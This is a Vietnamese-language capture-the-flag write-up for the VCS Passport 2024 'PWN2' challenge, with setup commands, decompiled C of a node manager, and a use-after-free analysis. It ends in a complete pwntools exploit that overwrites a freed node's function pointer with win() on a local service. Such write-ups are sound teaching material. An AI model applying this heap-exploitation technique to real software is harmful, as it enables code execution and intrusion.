VCS Passport 2024
PWN2
Vulnerability: Chương trình tin rằng chỉ cần node tại index không phải null thì có nghĩa là hợp lệ, tuy nhiên trên thực tế attacker có thể free node mà không set null, dẫn đến use-after-free.
January 13, 2026
•
December 12, 2025
•
Easy
Setup
Đầu tiên mình setup docker, copy libc và ld, patch binary các kiểu:
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ chmod +x run.sh
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ chmod +x service/chall
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ ./run.shngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public$ nc 0 9002
Viettel Cyber Security
1.Create node
2.Update node
3.Delete node
4.View node
Enter your choice:ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public/service$ docker cp 7c923effc706:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.13MB to /home/ngtuonghung/ctfs/vcs_passport_2024/pwn2/public/service/.
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn2/public/service$ docker cp 7c923effc706:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 239kB to /home/ngtuonghung/ctfs/vcs_passport_2024/pwn2/public/service/.
Recon
Mitigation

Code
Node *list[100];
//----- (00000000004013B4) ----------------------------------------------------
int __cdecl main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+4h] [rbp-3Ch] BYREF
signed int buf_; // [rsp+8h] [rbp-38h] BYREF
unsigned int buf; // [rsp+Ch] [rbp-34h] BYREF
int node_count; // [rsp+10h] [rbp-30h]
int i; // [rsp+14h] [rbp-2Ch]
int m; // [rsp+18h] [rbp-28h]
int n; // [rsp+1Ch] [rbp-24h]
int k; // [rsp+20h] [rbp-20h]
int j; // [rsp+24h] [rbp-1Ch]
Node *node_; // [rsp+28h] [rbp-18h]
Node *node; // [rsp+30h] [rbp-10h]
unsigned __int64 v15; // [rsp+38h] [rbp-8h]
v15 = __readfsqword(0x28u);
init();
choice = -1;
buf_ = 0;
node_count = 0;
node_ = 0LL;
for (i = 0; i <= 99; ++i)
list[i] = 0LL;
while (node_count <= 99)
{
menu();
__isoc99_scanf("%u", &choice);
if (choice == 4)
{
printf("Node ID ? :");
buf = -1;
node = 0LL;
__isoc99_scanf("%u", &buf); // input node id
for (j = 0; j <= 99; ++j)
{
if (list[j] && list[j]->id == buf)
{
node = list[j];
break;
}
}
if (node)
{
printf("ID : %d\nContent: %s\nContent size : %d\n", node->id, node->content, node->content_size);
if (node->func)
node->func();
}
else
{
not_found:
puts("Not found");
}
}
else if (choice <= 4)
{
switch (choice)
{
case 3:
printf("Node ID ? :");
buf_ = -1;
node_ = 0LL;
__isoc99_scanf("%u", &buf_);
for (k = 0; k <= 99; ++k)
{
if (list[k] && list[k]->id == buf_)
node_ = list[k];
}
if (!node_)
goto not_found;
free((void *)node_->content);
node_->content = 0LL;
free(node_);
break;
case 1: // create node
node_ = (Node *)malloc(32uLL);
buf = 0;
printf("Content size :");
__isoc99_scanf("%u", &buf); // input content size
node_->content = (const char *)malloc((int)buf);
if (!node_->content)
{
puts("Failed to malloc");
exit(0);
}
printf("Enter content :");
read(0, (void *)node_->content, buf);
node_->content_size = buf;
node_->id = node_count++;
for (m = 0; m <= 99; ++m)
{
if (!list[m])
{
list[m] = node_;
break;
}
}
printf("[*]Success! Your node id is :%d\n", node_->id);
break;
case 2: // update node
printf("Node ID ? :");
buf_ = -1;
node_ = 0LL;
__isoc99_scanf("%u", &buf_); // input node id
for (n = 0; n <= 99; ++n)
{
if (list[n] && list[n]->id == buf_)
{
node_ = list[n];
break;
}
}
if (!node_)
goto not_found;
printf("New content size: ");
__isoc99_scanf("%u", &buf_); // input content size
if ((signed int)node_->content_size >= buf_ || (node_->content = (const char *)malloc(buf_)) != 0LL)
{
printf("Enter new content: ");
read(0, (void *)node_->content, (unsigned int)buf_);
node_->content_size = buf_;
}
else
{
puts("Failed to malloc");
}
break;
}
}
}
return 0;
}Mình xác định struct của Node như sau:
- 8 byte func
- 4 byte id
- 4 byte padding
- 8 byte content
- 4 byte content size
- 4 byte padding for alignment
Có 3 nơi gọi malloc:
- new node (fixed 32 byte) (choice 1).
- new content (user input) (choice 1).
- replace content (user input) (choice 2).
2 nơi gọi:
- free content, đã set null sau đó (choice 3)
- free node sau khi free content, nhưng không set null sau đó, có thể uaf bởi vì con trỏ vẫn lưu trong list (choice 3).
Solve
#!/usr/bin/env python3
from pwn import *
exe = ELF("chall_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "localhost"
port = 9002
return remote(host, port)
p = conn()
def create_node(size, content):
slan(p, b'choice', 1)
slan(p, b'size', size)
sa(p, b'content', content)
def update_note(id, size, content):
slan(p, b'choice', 2)
slan(p, b'ID', id)
slan(p, b'size', size)
sa(p, b'content', content)
def delete_node(id):
slan(p, b'choice', 3)
slan(p, b'ID', id)
def view_node(id):
slan(p, b'choice', 4)
slan(p, b'ID', id)
# Tạo node 0
create_node(32, b'A')
# Tạo note 1 để sửa content
create_node(10, b'A')
# Xoá node 0, list[0] vẫn giữ con trỏ
delete_node(0)
# Edit content node 1 để cấp phát lại đến node 0 -> ghi đè con trỏ hàm với win()
update_note(1, 32, p64(exe.symbols['win']))
view_node(0)
ia(p)Script
